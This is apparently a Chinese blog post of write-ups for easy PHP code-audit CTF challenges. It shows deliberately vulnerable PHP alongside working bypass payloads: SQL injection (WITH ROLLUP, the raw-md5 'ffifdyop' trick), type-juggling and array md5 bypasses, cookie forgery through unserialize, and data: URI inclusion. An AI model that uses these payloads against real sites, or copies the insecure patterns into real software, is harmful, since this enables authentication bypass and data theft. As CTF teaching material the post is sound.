PHP代码审计——EASY CTF篇

2019-05-22  本文已影响0人  Shad0w_zz

0x01 extract变量覆盖

<?php

$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

?>

?shiyan=&flag=1
在file_get_contents($flag)过程时出错,返回$content为空,通过$shiyan==$content判断

0x02 绕过过滤的空白字符

<?php
 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}
 
foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 
 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 ,此处要求number非纯数字
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值,此处要求number与intval(number)的字符串值一致,而%0c在这一过程中将保留
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){//此处要求number变量数字部分与其反转后相同
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

?number=%00%0c191

  • %00使if(is_numeric($_REQUEST['number'])) 和elseif($req['number']!=strval(intval($req['number'])))均返回false;
  • intval和is_numeric都会忽略\f(也就是%0c)这个字符,使number值为191;
  • 而在if(is_palindrome_number($req["number"]))判断中,strval($number)值为\f191,从而使$number[$i]为\f, $number[$j]为1通过if($number[$i] !== $number[$j]) 的判断返回false。

0x03 多重加密

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> 

判断条件只有一个:if($login['user'] === 'ichunqiu')
而$login = unserialize(gzuncompress(base64_decode($requset['token'])));
因此只需要传递一个符合要求的序列化值即可,脚本如下:

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>
//eJxLtDK0qs60MrBOAuJaAB5uBBQ=

0x04 SQL注入_WITH ROLLUP绕过

<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
//检测变量是否是数组
        $StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
//匹配成功一次后就会停止匹配
        print "水可载舟,亦可赛艇!";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
//遍历数组
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) { 
//返回结果集中行的数目
    $key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
拼接后的SQL语句为:
SELECT * FROM interest WHERE uname = 'admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
因此可以通过注入payload使username仍为admin,但password为空。


POST:
username=admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -&password=

0x05 sha()函数比较绕过

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

?name[]=1&password[]=2
sha1()函数默认的传入参数类型是字符串型,当传入数组时均会返回false,通过判断。

0x06 SESSION验证绕过

<?php

$flag = "flag";

session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

?password=
初始状态session为空,因此password也传入空值即可

0x07 md5加密相等绕过

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391

pg:把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。
同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

0x08 intval函数四舍五入

<?php
if($_GET[id]) {
    $id = intval($_GET[id]);
    if ($_GET[id]==1024) {
        echo "<p>no! try again</p>";
    }
    else{
        echo "flag{**************************}";
    }
}
?>

1024.1绕过

0x09 md5()函数===使用数组绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

?username[]=1&password[]=2

0x10 十六进制与数字比较

<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        echo $flag;
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

?password=0xdeadc0de
3735929054 == 0xdeadc0de(十六进制)

0x11 数字验证正则绕过

<?php

error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配, 意为必须是12个字符以上(非空格非TAB之外的内容)
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) //意为匹配到的次数要大于6次
//字符串中,把连续的大写,小写,数字,符号作为一段,至少分六段,例如a12SD+io8可以分成a 12 SD + io 8六段
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3,意为必须要有大小写字母,数字,字符内容三种与三种以上
        if ("42" == $password) echo $flag; //意为必须等于42
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

password=42.00e+00000000000 或 password=420.000000000e-1

0x12 弱类型整数大小比较绕过

<?php

error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
} 

?>

?password=1337a
当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。
当输入1337a,在is_numeric中返回true,然后在比较时被转换成数字1337。

0x13 md5函数true绕过注入

<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) { 
  die('Could not connect to MySQL: ' . mysql_error()); 
} 
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

?password=ffifdyop
只需md5($password,true)包含' or 'xxx这样的字符即可绕过,SQL即变成:
SELECT * FROM admin WHERE pass = '' or 'xxx'
字符串ffifdyop,md5后为276f722736c95d99e921722cf9ed621c,hex转换为字符串为:'or'6<trash>

0x14 switch没有break 字符与0比较绕过

<?php
//$flag = 'flag{***************}';
error_reporting(0);

if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
        echo 111;
        //break;
    case 1:
    case 2:
        require_once $which.'.php';
        echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

?>

?which=flag
这里在case 0 和 case 1的时候均没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default。
但实际上,在case 0比较的时候,是相等的。进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句。当我们传入flag时,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php




在php中,非数字开头的字符串与数字0的弱类型比较(==)均返回true。
而以数字开头的字符串进行比较时,可转换为数字。
eg:7asd可转换为7

0x15 利用提交数组绕过逻辑

<?php 
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
    $role = unserialize(base64_decode($_COOKIE["role"]));
    if($role === "admin"){
        $auth = true;
    }
    else{
        $auth = false;
    }
}
else{
    $role = base64_encode(serialize($role));
    setcookie('role',$role);
}
if($auth){
    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
        }
        else {
            $s = implode($data);//implode() 函数返回由数组元素组合成的字符串。
            if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "<br />there are the source.<br />";
        echo '<textarea rows="10" cols="100">';
        echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
        echo '</textarea>';
    }
}
else{
    echo "Sorry. You have no permissions.";
}
?>
  • 修改cookie中role为czo1OiJhZG1pbiI7令$auth为true
  • data[0]=123&data[1]=<> 的形式传入数组
    preg_match('[<>?]', $data)匹配数组,结果返回false;
    preg_match('[<>?]', $s)匹配字符串,结果返回true。

0x16

<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

?a=data:,1112 is a nice lab!&id=0e12&b=%00412311

  • $data=="1112 is a nice lab!"
    利用远程文件包含在allow_url_include开启时可以使用,但发现对$a有了.过滤所以还是data协议比较稳妥,参考这里
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
  • $id==0
    典型的PHP弱比较可参考这里
  • strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    strlen函数对%00不截断但substr截断
    ereg函数对%00截断及遇到%00则默认为字符串的结束

0x17

<?php
error_reporting(0);
include "flag.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");//这里涉及超全局变量的使用
}
?>

?args=GLOBALS

0x18

<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
    $x1 = $_GET['x1'];
    $x1=="1"?die("ha?"):NULL;
    switch ($x1)
    {
        case 0:
        case 1:
            $a=1;
            break;
    }
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
    is_numeric(@$x2["x21"])?die("ha?"):NULL;
    if(@$x2["x21"]){
        ($x2["x21"]>2017)?$b=1:NULL;
    }
    if(is_array(@$x2["x22"])){
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
        $p = array_search("XIPU", $x2["x22"]);
        $p===false?die("ha?"):NULL;
        foreach($x2["x22"] as $key=>$val){
            $val==="XIPU"?die("ha?"):NULL;
        }
        $c=1;
    }
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
    if (strstr($x3, 'XIPU')) {
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
            $d=1;
        }
    }
}
if($a && $b && $c && $d){
    include "flag.php";
    echo $flag;
}
?>

?x1=1a&x2={"x21":"2018e","x22":[["XIPU"],0]}&x3=47484XIPU

  • x1=1a 或 0
  • x3位md5弱类型比较
import re

import hashlib

md = hashlib.md5("15562".encode())

s = md.hexdigest()[8:8+16]

print('md5(15562) =',s)

for i in range(10000000):

   #md = hashlib.md5(('XIPU'+str(i)).encode())
   md = hashlib.md5((str(i) + 'XIPU').encode())

   x = md.hexdigest()[8:8+16]

   if re.findall('^0e\d*$',x):

      print(str(i) + 'XIPU')

      print(x)

0x19

<?php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="*********";
    if ($message->key == $key) {
        echo "flag";
    }
    else {
        echo "fail";
    }
}
else{
    echo "~~~~";
}

message={"key":true}


0x20

<?php
error_reporting(0);
if (empty($_GET['b'])) {
    show_source(__FILE__);
    die();
}else{
    include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>

?b=a[0]=s878926199a

0x21

<?php
if(isset($_POST['login']))
{
    if(isset($_POST['user']))
    {
        if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
        {
            die('user错误!');
        }
    }
    if (isset($_POST['name']) && isset($_POST['password']))
    {
        if ($_POST['name'] == $_POST['password'] )
        {
            die('账号密码不能一致!');
        }
        if (md5($_POST['name']) === md5($_POST['password']))
        {
            if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
            {
                if($_POST['id']==72)
                    die("flag...");
                else
                    die("ID错误2!");
            }
            else
            {
                die("ID错误1!");
            }
        }
        else
            die('账号密码错误!');
    }
}

user[]=1&name[]=1&password[]=2&id=72.0&login=Check
or
user[]=1&name[]=1&password[]=2&id=072&login=Check

源项目地址

上一篇下一篇

猜你喜欢

热点阅读